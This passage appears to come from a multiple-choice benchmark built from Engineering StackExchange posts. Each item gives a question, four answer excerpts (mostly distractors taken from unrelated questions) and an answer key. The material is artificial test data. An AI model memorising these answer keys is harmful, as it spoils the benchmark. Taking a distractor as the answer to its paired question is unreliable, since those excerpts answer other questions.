sensors that can provide millimeter level accuracy. \"Low cost\" is a very relative term, so you'll need to do some shopping around based on your specific budget. Optical sensors- Included here are those of the type you listed, though it's a very cheap sensor meant more to provide a \"yeah something is in front of me, about yay-far-away\". There are also laser sensor systems which can provide millimeter level accuracy. Ultrasonic Sensors- Most ultrasonic sensors have relatively low accuracy; in the...", "B": "My first thought is that it might be intended to be a wing nut driver of some sort, but those are usually hollow cylinders with slots for the wings. Ah ... sure enough, it's described as such in this Ebay ad :", "C": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "D": "In Ye olden days DC generators were brushed commutated devices. They had a one or more stator windings and an armature winding. Field wound DC generators as well as motors were commonly connected in one of three methods: Series, Shunt and Compound. Without getting into details, each had its own set of strengths and weaknesses. But you only have to remember these two things: the voltage of a DC motor is dependent on its input shaft speed. Current is a function of torque. More voltage means more RPM's and more amps means more newton-meters (or foot-pounds). So with all that,..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2612/distance-sensors-with-accuracy-of-1-mm"} {"id": "engineering_3547", "domain": "engineering", "question_title": "How much clearance does a car need when turning a corner?", "question_body": "I am contemplating buying a new car. However, the approach to the underground garage in my apartment has a 90 degree frustrating turn. Given the dimensions of the approach and car, what is the max turn circle for the car to fit the garage and turn? given Ackerman steering and the overhanging front part of the car I believe you can use Pythagoreas' theorem to get R min and R max. delta R should be less than the shortest path in the pathway, ie 2.5m. unfortunately the result does not seem plausible. feedback would be greatly appreciated.", "question_score": 13, "question_tags": ["automotive-engineering"], "choices": {"A": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "B": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "C": "It depends on how steep the hill is. On a slight hill, the energy added by gravity is still not enough to overcome rolling friction and air resistance, so the car still needs power to maintain speed. On a steeper hill, the two may balance out, so no power is used, and no power is generated. On a hill that's steep enough to require braking to control the speed, the car recovers energy. It's called regenerative braking. If the car is going too fast, applying the brakes turns the motor into a generator and charges the battery.", "D": "To slightly generalize I'll reform the question slightly. A ridged 2-D body (car) has a line $l$ that moves with it. The car can be linearly transformed as long as the instantaneous center of rotation lies along $l$ at least distance $R$ away from a point $c$ that also moves with the car. In this case point $c$ lies in the center of the rear axle and $l$ lies on the rear axle. Now imagine the car's domain is limited to a quarter plane with edges $A$ and $B$. It initially is placed against $A$, far from $B$ with $l$..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/3547/how-much-clearance-does-a-car-need-when-turning-a-corner"} {"id": "engineering_3986", "domain": "engineering", "question_title": "How do you ensure physical network interfaces always get the same interface name across reboots on an embedded Linux system?", "question_body": "For an embedded Linux system, if I have two or more network interfaces, how do I ensure that they always get the same interface names every boot In other words, I want, for example, eth0 to always map to one physical Ethernet port, eth1 to the next, etc. My Linux \"distribution\" is home-grown, and I use devtmpfs for populating /dev. I use busybox for init (and most everything else), along with custom init scripts for system startup and shutdown. I do not need hotplug facilities of mdev or udev -- I'm referring to \"fixed\" Ethernet ports.", "question_score": 13, "question_tags": ["embedded-systems"], "choices": {"A": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "B": "This works for me with Linux 3.9.0 on an x86_64 architecture. #!/bin/sh # This assumes the interfaces come up with default names of eth*. # The interface names may not be correct at this point, however. # This is just a way to get the PCI addresses of all the active # interfaces. PCIADDRLIST= for dir in /sys/class/net/eth* ; do [ -e $dir/device ] && { PCIADDRLIST=\"`readlink -f $dir/device` ${PCIADDRLIST}\" } done # Now assign the interface names from an ordered list that maps # to the PCI addresses of each interface. # IFNAMES could come from some config file....", "C": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "D": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/3986/how-do-you-ensure-physical-network-interfaces-always-get-the-same-interface-name"} {"id": "engineering_3959", "domain": "engineering", "question_title": "What are left justified and right justified ADC results?", "question_body": "The TI MSP430F20XX series has a 12-bit internal ADC output, which is right-justified. What is the difference between a left-justified output and a right-justified output? What are their pros and cons?", "question_score": 13, "question_tags": ["electrical-engineering", "embedded-systems"], "choices": {"A": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "B": "On this processor, the register that holds the conversion result is 16 bits wide. A right-justified result means that bits [( N -1):0] (where N is the number of bits of precision) of the register contain the ADC value and the most-significant bits of the register are set to zero. A left-justified result means that bits [15:(16- N )] of the register hold the result, and bits [(15- N ):0] are set to zero. For example, if your actual conversion result is 0x123, it would be read as 0x0123 if the register was right-justified, and as 0x1230 if it was...", "C": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "D": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/3959/what-are-left-justified-and-right-justified-adc-results"} {"id": "engineering_6257", "domain": "engineering", "question_title": "From an engineering standpoint, what is the purpose of the indent in a coffee lid?", "question_body": "I've see the same lids every day but I never really thought about their construction. There is an indent in a \"Solo Travel Lid\" for coffee cups that is just above the hole that you drink the coffee from. You can see the crescent shaped indent in the image. What is it for? Does it somehow increase fluid flow? Is it just a good spot for your upper lip? If so, why is there not a matching one for the nose? I tried googling this but I got no answer.", "question_score": 13, "question_tags": ["design", "applied-mechanics"], "choices": {"A": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "B": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "C": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "D": "From the \"Solo Traveler\" patent : A more specific object of the present invention is to provide a lid having an opening formed therethrough to enable drinking, and having a recess formed in the lid adjacent the opening to accommodate the upper lip of one drinking from the cup This is also illustrated in the patent diagrams. I came across this interesting article on the history, use, design, and styles of disposable lids. The Solo Traveler is prominently featured for its excellent aesthetics and design . The article reiterates that: the Solo Traveler lid was designed to accommodate the nose..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/6257/from-an-engineering-standpoint-what-is-the-purpose-of-the-indent-in-a-coffee-li"} {"id": "engineering_8054", "domain": "engineering", "question_title": "What is this Y-shaped screwdriver bit, and what is its purpose?", "question_body": "I found this strange looking bit in a bit set of uncommon bits, including Security Torx, hexalobular, tri-wing, spanner head, 12-point flange, Torq-set and others. It's the only one that I could not identify, what is it for?", "question_score": 13, "question_tags": ["mechanical-engineering", "fasteners"], "choices": {"A": "This is to make sure they know what the foundation is made of. For all they knew there may have been an old tunnel underneath that would have collapsed when the new building is put on top. London is built on top of an old marsh, this type of soil is very prone to sinking and uneven settling, digging down and reinforcing the foundation alleviates that. It also ensures the foundation is uniform under the building to avoid a new tower of Pisa. Given the age of the city it may have been to scour the land for potential archaeological...", "B": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "C": "My first thought is that it might be intended to be a wing nut driver of some sort, but those are usually hollow cylinders with slots for the wings. Ah ... sure enough, it's described as such in this Ebay ad :", "D": "OP injection molding tag is correct. OBall uses injection molding and plastic welding. The OBall is the invention of David E. Silverglate. Toy Ball Apparatus with Reduced Part Count Reduced image from Kids II . It consists of four identical, flat, injection molded, pentagon and hexagon shapes with circular (or elipitical) holes, which are shaped and plastically welded into spheres. Pentagon and hexagon edges are the same size and individual connected circles are only connected along one edge. The four shapes are clearly shown in colors above and from the patent. Solid lines on each part are hard connections, while..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/8054/what-is-this-y-shaped-screwdriver-bit-and-what-is-its-purpose"} {"id": "engineering_8064", "domain": "engineering", "question_title": "What is the difference between the Polar Moment of Inertia, $ I_P $ and the torsional constant, $ J_T $ of a cross section?", "question_body": "This question is so fundamentally basic that I am almost embarrassed to ask but it came up at work the other day and and nearly no one in the office could give me a good answer. I was calculating the shear stress in a member using the equation, $\\frac{Tr}{J_T}$ and noticed, that for a shaft with a circular cross section, $J_T = I_P$. Both $I_P$ and $J_T$ are used to describe an object's ability to resist torsion. $I_P$ is defined as, $ \\int_{A} \\rho^2 dA $ where $\\rho$ = the radial distance to the axis about which $I_P$ is being calculated. But $J_T$ has no exact analytical equations and is calculated largely with approximate equations that no reference I looked at really elaborated on. So my question is, what is the difference between the Polar Moment of Inertia, $ I_P $, and the torsional constant, $ J_T $? Not only mathematically, but practically. What physical or geometric property is each a representation of? Why is $J_T$ so hard to calculate?", "question_score": 13, "question_tags": ["mechanical-engineering", "structural-engineering", "applied-mechanics", "stresses"], "choices": {"A": "This is to make sure they know what the foundation is made of. For all they knew there may have been an old tunnel underneath that would have collapsed when the new building is put on top. London is built on top of an old marsh, this type of soil is very prone to sinking and uneven settling, digging down and reinforcing the foundation alleviates that. It also ensures the foundation is uniform under the building to avoid a new tower of Pisa. Given the age of the city it may have been to scour the land for potential archaeological...", "B": "The torsion constant $J_T$ relates the angle of twist to applied torque via the equation: $$ \\phi = \\frac{TL}{J_T G} $$ where $T$ is the applied torque, $L$ is the length of the member, $G$ is modulus of elasticity in shear, and $J_T$ is the torsional constant. The polar moment of inertia on the other hand, is a measure of the resistance of a cross section to torsion with invariant cross section and no significant warping . The case of a circular rod under torsion is special because of circular symmetry, which means that it does not warp and it's...", "C": "As with all good things, it depends. If you can assume that your supports are totally stiff and that the loading on the shelf will be approximately uniform, then you basically have the following structure: A rectangular cross-section (such as a plank) will behave equally under positive or negative bending moment, so your objective should be to balance both. To do so, you want your main span to be $2\\sqrt2 \\approx 2.83$ times the cantilevers. This is found by calculating the cantilever required to offset half of the bending moment due to a uniform load along a simply supported beam:...", "D": "Some ideas: Wheel Load Distribution : The load is greater on the rear wheels providing the power; more force on the front ones bring no benefit and would provide less traction. Better manoeuvrability from having a shorter wheelbase. Better Ground Clearance in some conditions, especially for bumps and or up a increasing slope for instance. Better Driving : The front wheels now turn around a point closer to the C.G. than with the rear wheels. Not good with vehicle dynamics but this appears better than the rear end 'trailing' behind. Structural : As some people have pointed out, it's better..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/8064/what-is-the-difference-between-the-polar-moment-of-inertia-i-p-and-the-tors"} {"id": "engineering_45701", "domain": "engineering", "question_title": "How was this toy made?", "question_body": "This is a toy for infants. My son was playing with it, and I started wondering how you could manufacture this. I can't think of any reasonably cheap way it could be done. I believe it's made of plastic and not silicone. It's flexible, but not elastic. My first thought would be injection molding, but I can't see any way to get parts of the mold in and out of the sphere. My wife suggested that perhaps the mold had no interior surface and was rotated like they do with chocolate, but I don't think that's the case, because if you look carefully you'll see that the inside surface is rounded and not flat. Anyway I'm stumped. How do you think they did it?", "question_score": 13, "question_tags": ["injection-molding"], "choices": {"A": "OP injection molding tag is correct. OBall uses injection molding and plastic welding. The OBall is the invention of David E. Silverglate. Toy Ball Apparatus with Reduced Part Count Reduced image from Kids II . It consists of four identical, flat, injection molded, pentagon and hexagon shapes with circular (or elipitical) holes, which are shaped and plastically welded into spheres. Pentagon and hexagon edges are the same size and individual connected circles are only connected along one edge. The four shapes are clearly shown in colors above and from the patent. Solid lines on each part are hard connections, while...", "B": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "C": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "D": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/45701/how-was-this-toy-made"} {"id": "engineering_47905", "domain": "engineering", "question_title": "How can I tell if I got counterfeit aluminum?", "question_body": "I recently received an order of extruded aluminum strip 3/32\" thick that supposed to be 6061 hardened to specification ASTM B221. However, when we tried to bend it, it broke and the interior looked like cast zinc coated with aluminum. Is 6061 supposed to look that way and be unable to bend 90-degrees? How can I verify that I have solid aluminum and not some fake alloy with zinc in it?", "question_score": 13, "question_tags": ["metallurgy"], "choices": {"A": "I figured out a simple test. Since the density of 6061 is 2.5 g/cm3 and the density of zinc is over 7 g/cm3, all I had to do was measure the density of the material. This showed that indeed it was aluminum. So, its brittleness is probably just because it was hardened.", "B": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "C": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "D": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/47905/how-can-i-tell-if-i-got-counterfeit-aluminum"} {"id": "engineering_6", "domain": "engineering", "question_title": "What is the process of transferring an engineering license from the United States to Germany?", "question_body": "The United States have different rules about exactly how one obtains an engineering license, but the general process is the FE exam, a few years of work, and the PE exam. Suppose one then wishes to practice engineering in Germany. What are the legal requirements for doing so?", "question_score": 12, "question_tags": ["licensure", "international"], "choices": {"A": "Unlike within the United States and the PE license , it doesn't appear that it's possible to receive an EUR ING license by direct comity . EU Engineering licensing is handled by FEANI , and on their EUR ING page they state: Application is open only to individuals if they are members of an engineering association represented in FEANI through a National Member But it may be possible to join one of the German FEANI members and see if they can support a reciprocity or comity process. 1 1 There are other member organization in other countries, but your question...", "B": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "C": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "D": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/6/what-is-the-process-of-transferring-an-engineering-license-from-the-united-state"} {"id": "engineering_121", "domain": "engineering", "question_title": "Determining Drill Speed", "question_body": "How are spindle speeds calculated for a drill bit? I've seen dozens of charts that highlight the rpm that should be used for specific drill bit types, bit diameter, and material. However, what if my chart doesn't have the particular type of material or bit that I am using? I'd also like to have some intuition to know if the chart looks right or wrong. Upon some quick research, it appears that the \"cutting speed\" is what is ultimately needed for a particular material. I assume the cutting speed for each material must be looked up? Is there a standard or \"go-to\" place to find these? Then, information about the drill bit can be used to determine spindle speed. Again, what if I'm using a big hole saw or circle cutter, and it's not listed? How do I model the bit to use the cutting speed to determine rpm (for a given material of course)? I'd also like to know to calculate feed speeds for a drill or mill, but there are presumably more variables. It is probably better answered in another question.", "question_score": 12, "question_tags": ["machining", "mechanical-engineering"], "choices": {"A": "For long freight trains and those that will be climbing to stations at higher altitudes, an extra or two locomotives are attached to the front. I've always wondered why. As usual there are multiple issues. Most important is landscape. If more power than a single locomotive can provide is not needed for the whole trip, but only a short stretch, like climbing or crossing a mountain range, then it would be a huge waste of resources to attach them the whole trip. For example, take a 10 hour trip time, where all, except for a 1 hour stretch, can be...", "B": "You are correct that the cutting speed of the material is what determines the rpm for your drill-bit. This actually makes the calculation very simple. $$ \\text{Spindle speed (RPM)} = \\frac{\\text{Cutting speed}}{\\text{Circumference}} = \\frac{\\text{Cutting speed}}{π \\cdot \\text{Diameter}} $$ The thing you need to be careful of is the units of cutting speed and diameter. For example: Metric: If your cutting speed is in $m/min$ and your diameter is in $mm$ then you need to multiply your cutting speed by 1000 so that it is in $mm/min$ Imperial: If your cutting speed is in $ft/min$ and your diameter is in $inches$...", "C": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "D": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/121/determining-drill-speed"} {"id": "engineering_211", "domain": "engineering", "question_title": "What causes rechargeable batteries to age? What can be done to extend life of these batteries?", "question_body": "These days most of modern electronics use rechargeable batteries as a power source. Also, these days most modern rechargeable batteries are Lithium Ion or Lithium Polymer based. Like any other devices, over time these rechargeable batteries lose the ability to recharge, retain and discharge energy thus users have to replace the devices or rechargeable batteries. It is my understanding that the rise in battery internal resistance is the primary cause the rechargeable battery aging. Is this accurate? If so what can be done to lower or eliminate the internal resistance in rechargeable batteries. If my understanding is inaccurate what is the cause for rechargeable battery aging? If the causes for battery aging are understood, how can electronic engineers design charging and discharging circuits to extend the rechargeable battery life? References: Battery University All About Batteries, Part 1: Introduction All About Batteries, Part 2: Specifications & Terminology All About Batteries, Part 7: Lithium Thionyl Chloride", "question_score": 12, "question_tags": ["energy", "electrical-engineering", "energy-storage", "chemical-engineering", "battery"], "choices": {"A": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "B": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "C": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "D": "One of the problems that plagued older rechargeable batteries (e.g. Nickel Cadmium ($\\text{NiCad}$) and Nickel Metal Hydride ($\\text{NiMH}$)) was the memory effect . The memory effect occurs when a rechargeable battery is not fully discharged. It then \"forgets\" that it has a greater capacity than it thinks it has, and so in the future it discharges less. A good example is a water bottle. Initially, water bottles have a certain capacity for water. Let's say that I drink most of the water in a water bottle during one usage. If the memory effect affected water bottles, I would not be..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/211/what-causes-rechargeable-batteries-to-age-what-can-be-done-to-extend-life-of-th"} {"id": "engineering_389", "domain": "engineering", "question_title": "Thermoelectric Technology to Harvest Energy from Internal Combustions Engines", "question_body": "Background: In an automobile, only 1 / 3 of the potential energy in the fuel is converted into mechanical energy and significant portion of the energy is lost as heat. There have been previous attempts to recuperate this lost energy. In the early 1990's, Porsche developed automotive thermoelectric generators (ATEG) which didn't go past prototyping stage. Currently, Porsche Motorsports is testing a thermal energy harvesting system in their LeMans series Race car. In addition to Porsche's research, GM is in collaboration with Future Tech, LLC. to explore the idea of using themoelectric technology to harvest energy from internal combustion engines. Other automotive manufactures, such as BMW, are also exploring this technology. Currently the power usage in a Small car is approximately 150 W Full size truck is approximately 500 W If this technology can successfully be implemented, then components such as the radiator, water pump, and alternator could effectively have reduced workload or removed from the system, thus reducing the load to the internal combustion engine. Question: With the growing interest in green technology, are there technology barriers beside efficiency that are preventing the implementation of energy harvesting from internal combustion engines using thermoelectric technology? References: Which one must be used matched output voltage or open circuit voltage? Benefits of Thermoelectric Technology for the Automobile The Promise and Problems of Thermoelectric Generators Modeling of an Automotive ThermoElectricGenerator (ATEG) Thermoelectrics to replace car alternators and improve MPG Thermo-Electric Generator in Turbocharged Diesel Engine Kettering University researchers are working with General Dynamics to convert the unused heat energy of their propulsion systems to useful and clean energy Porsche 919 Hybrid LeMans Racer Goes After The Two Thirds of Gasoline’s Energy That’s Wasted As Heat Germans trying to replace Alternator with Thermoelectric Generators or TEGs Porsche 919 Hybrid LMP1 Le Mans prototype... Footnote The suggested duplicate is related, but still distinctly different. The order of magnitude of energy available to recover from an internal combustion engine is significantly greater than within the GPU of a video card. As such, the economies of scale are different and different solutions are therefore possible.", "question_score": 12, "question_tags": ["mechanical-engineering", "electrical-engineering", "thermodynamics"], "choices": {"A": "This is to make sure they know what the foundation is made of. For all they knew there may have been an old tunnel underneath that would have collapsed when the new building is put on top. London is built on top of an old marsh, this type of soil is very prone to sinking and uneven settling, digging down and reinforcing the foundation alleviates that. It also ensures the foundation is uniform under the building to avoid a new tower of Pisa. Given the age of the city it may have been to scour the land for potential archaeological...", "B": "As with all good things, it depends. If you can assume that your supports are totally stiff and that the loading on the shelf will be approximately uniform, then you basically have the following structure: A rectangular cross-section (such as a plank) will behave equally under positive or negative bending moment, so your objective should be to balance both. To do so, you want your main span to be $2\\sqrt2 \\approx 2.83$ times the cantilevers. This is found by calculating the cantilever required to offset half of the bending moment due to a uniform load along a simply supported beam:...", "C": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "D": "As with any new technology, the cost is the big driver here. In addition, these devices produce electricity which is a form of energy that a typical internal combustion automobile can only utilize for ancillary equipment. This would effectively improve fuel efficiency but the gain would be relatively minor. Engineers are generally reluctant to use expensive new technologies that are relatively untested when existing methods are sufficient for achieving the goal. In this case, most automobile manufacturers strive to produce a cost-competitive product. The people who are most concerned with fuel efficiency will tend to consider a hybrid (or all-electric)..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/389/thermoelectric-technology-to-harvest-energy-from-internal-combustions-engines"} {"id": "engineering_1718", "domain": "engineering", "question_title": "What does "$\\pm$ 0.5% F.S." mean?", "question_body": "I've seen it in several data sheets - it 